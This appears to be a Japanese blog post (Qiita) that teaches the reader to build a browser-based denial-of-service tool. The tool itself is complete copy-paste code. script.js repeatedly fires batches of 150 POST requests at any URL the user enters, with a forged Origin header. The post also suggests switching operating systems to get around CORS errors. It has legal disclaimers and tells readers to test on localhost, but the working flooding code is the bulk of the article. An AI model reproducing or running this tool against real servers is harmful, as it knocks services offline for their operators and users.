0
0

htmlでdos攻撃を作る

Last updated at Posted at 2024-03-16

初めに

今回はDos攻撃ツール(html,css,javascript)を作っていきます。

警告

・本記事に掲載されているプログラムを使用して起きた問題について、一切の責任を負いかねます。
・Dos攻撃をすると刑法第234の2項に違反します。このプログラムを使用する場合は、事前にテストサーバーを準備またはローカルホストなどを使用しましょう。ローカルホストの起動方法

Dos攻撃、D-Dos攻撃とは

そもそもDos攻撃(Denial of Service Attack)とは、1台のパソコンで攻撃先のサーバーに大量のリクエストまたは悪意のあるファイルまたはプログラムを送信してサーバーを破壊するもので、D-Dos攻撃(Distributed Denial of Service attack)は複数台のパソコンから攻撃先のサーバーに大量のリクエストまたは悪意のあるプログラムを送りつける手法です。

ファイル構成

今回作るプログラムのファイル構成は以下の通りです。

|----attack
       |
       |---main.html
       |
       |
       |---script.js
       |
       |
       |---style.css
       |
       |
       |
       |---riyou.html

※・・・riyou.htmlは利用規約なので書かなくても良いです(今回は省略します。)

プログラムを書く

ではプログラムを書いていきます。
まずmain.htmlに以下のようにコピペしてください。

main.html


<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>dos-attack(educational purpose)</title>
  <link rel="stylesheet" href="/../style.css">
</head>
<body>
  <div class="box">
    <div class="center">
      <h2>dos-attack※</h2>
      <p>no comment</p>
      <p>url</p>
      <input type="text" id="target" placeholder="urlを入力" class="textbox" />
      <p>送信するデータを入力(省略可)</p>
      <input type="text" id="data" class="text2" placeholder="送信するデータを入力(省略可)" />
      <p>オリジンurl(省略可)</p>
      <input type="text" class="text2" id="originurl" placeholder="originヘッダにセットするurlを入力(省略可)" />
      <p>※オリジンヘッダのタイトルを入力</p>
      <input type="text" class="text2" id="title">
      <br/>
      <input type="button" value="search" class="button" onclick="first_attack()" id="button" />
      <h4>※・・・originヘッダのurlを入力した際にのみ適用されます。</h4>
    </div>
  </div>
  <script src="script.js"></script>
</body>
</html>

<説明>
・link...stylesheetを指定してstyle.cssを読み込んでいます。
・meta...charset属性でutf-8という文字コードを使用しています。
・div-center...divでcssの中央揃え(.center { text-align:center })を指定しています。
・div-box...divでボックスを指定しています。
input-text {
・id="target"...ターゲット先のurlを書きます
・id="data"...ターゲット先のurlに送信するデータを書きます
・id="originurl"...originヘッダにつけるurlを書きます。
・id="title"...originヘッダのタイトルを書きます(originurlを入力したときのみ有効)
}
・button onclick="first_attack()"...クリックされたときに関数の"first_attack"が呼び出されます。
・script src="script.js"...script.jsの中のプログラムを読み込みます。
次に、script.jsに次のコードをコピペしてください。

script.js
let targeturl = "";
let senddata = "";
let origindata = "";
let sendtitle = "";
let safe = 1;

let button = document.getElementById('button');

function first_attack() {
  safe = 0;
  button.value = "stop";
  button.onclick = function () {
    stop();
  };
  targeturl = document.getElementById('target').value;
  senddata = document.getElementById('data').value;
  origindata = document.getElementById('originurl').value;
  sendtitle = document.getElementById('title').value;

  if (targeturl === "") {
    console.error("error: Enter the Target URL.");
    return;
  }

  if (origindata === "" || !(origindata.includes("https://") || origindata.includes("http://"))) {
    origindata = "https://www.google.com";
  }

  if (sendtitle === "") {
    sendtitle = "google";
  }

  attack();
}

function attack() {
  for (let u = 0; u < 150; u++) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', targeturl, true);
    xhr.setRequestHeader('origin', origindata);
    xhr.setRequestHeader('title', sendtitle);
    xhr.send(senddata);
  }

  if (safe === 1) {
    return;
  } else {
    setTimeout(attack, 500);
    
  }
}

function stop() {
  button.value = "search";
  button.onclick = function () {
    first_attack();
  };
  safe = 1;
  searchurl = "";
  senddata = "";
  origindata = "";
  sendtitle = "";
}

<説明>
・変数targeturl...攻撃先のurlをGetElementById()で指定しています。
・変数senddata...送信するデータをhtmlから取得しています。
・変数origindata...オリジンヘッダに入れるurlを書きます。
・変数sendtitle...オリジンヘッダに入れるタイトルを書きます。
・変数safe...今攻撃中かどうかを判定します。
・変数button...htmlのボタンを取得します。
function first_attack()の流れ
1,safeを0にして攻撃中に変更
2,buttonのvalueをstopに変更
3,buttonのonclickイベントをstop()に変更
4,target,senddata,origindata,sendtitleのデータを取得
5,targeturl === nullならconsole.error()を実行する。
6,origindataにhttpsまたはhttpが入っているならorigindataを変更せずに、null値またはhttpsまたはhttpが入っていないならorigindataをgoogle.comにする。
7,sendtitleがnullならタイトルをgoogleにする。
function attack()の流れ
1,xhrにhttprequestを格納する。
2,xhrにtargeturlを代入
3,originheaderを偽装し、targeturlを代入
4,titoleヘッダを作成し、sendtitleを代入
5,xhrをデータとともに送信する。
もし、この時、safe === 1なら
プログラムを終了し、stop()を実行
0ならもう一度attackを500ミリ秒(0.5秒後に実行)
stopの流れ
1,button.valueをattackに変更
2,buttonのonclickイベントをfirst_attack()に変更
3,searchurl,senddata,origindata,sendtitle,safeをfirst_attackが実行される前の状態に戻す。
最後に、style.cssに以下のコードをコピペしてください。

style.css
.center {
  text-align: center;
}
.box {
  width: 500px;
  height: auto;
  border-radius: 10px;
  margin: 0 auto;
  border: 1px solid #9d9d9d;
}
.textbox {
  width: 400px;
  height: 40px;
  border-radius: 20px;
}
.text2 {
  width: 400px;
  height: 40px;
  border-radius: 5px;
}
.button {
  width: auto;
  height: 30px;
  border-radius: 10px;
  border: none;
  margin-top: 20px;
}

注意

windows OSで実行したら、corserrorエラーが発生します。(確認済み)なので、実行するときは、chrome OSなどで実行してください。

最後に

今回はDos攻撃の作り方について解説しました。最初に言った通り、Dos攻撃は不正アクセス禁止法などの法律に違反します。このプログラムを実行するときはちゃんとローカルホストなどの環境を使用するようにしましょう。
それではまたお会いしましょう!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0